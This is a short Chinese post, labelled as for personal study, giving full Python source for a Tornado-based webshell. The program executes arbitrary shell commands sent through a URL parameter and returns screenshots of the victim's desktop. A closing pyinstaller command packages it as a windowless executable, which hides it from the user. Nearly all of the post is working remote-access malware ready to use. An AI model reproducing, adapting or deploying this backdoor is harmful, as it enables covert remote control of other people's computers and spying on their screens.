PS:仅做个人学习用途!
image.png
image.png
image.png
# coding=utf-8
#python webshell
#步骤
#1.构建一款HTTP协议服务器
#2.独立开放特定端口(http80/自定义)
#3.构建一个视图view(mvc)->APP
#4.执行shell命令+截取对方桌面
#
#tornado
#pyautogui
#os
from tornado.web import RequestHandler,Application
from tornado.ioloop import IOLoop
from tornado.options import options,parse_command_line,define
from tornado.httpserver import HTTPServer
import os
import pyautogui
define('port',default=14444,help='这是http协议通信端口')
#视图类
class index(RequestHandler):
#poet get
def get(self):
#http://1270.0.1:14444/?wd=
cmd=self.get_query_argument("wd"," ")
if cmd=='shot':
#截屏
img=pyautogui.screenshot()
img.save('shot.jpg')
#二进制返回
pic=open('shot.jpg','rb')
pics=pic.read()
self.write(pics)
self.set_header("Content-type","image/png")
else:
rs=os.popen(cmd,'r')
self.write(rs.read())
def makeapp():
return Application([(r'/',index)])
if __name__=='__main__':
parse_command_line()
app=makeapp()
#把应用部署到httpserver
server=HTTPServer(app)
server.bind(options.port)
server.start()
IOLoop.current().start()
pyinstaller -F 文件 -n exe文件名 -w(不显示命令行)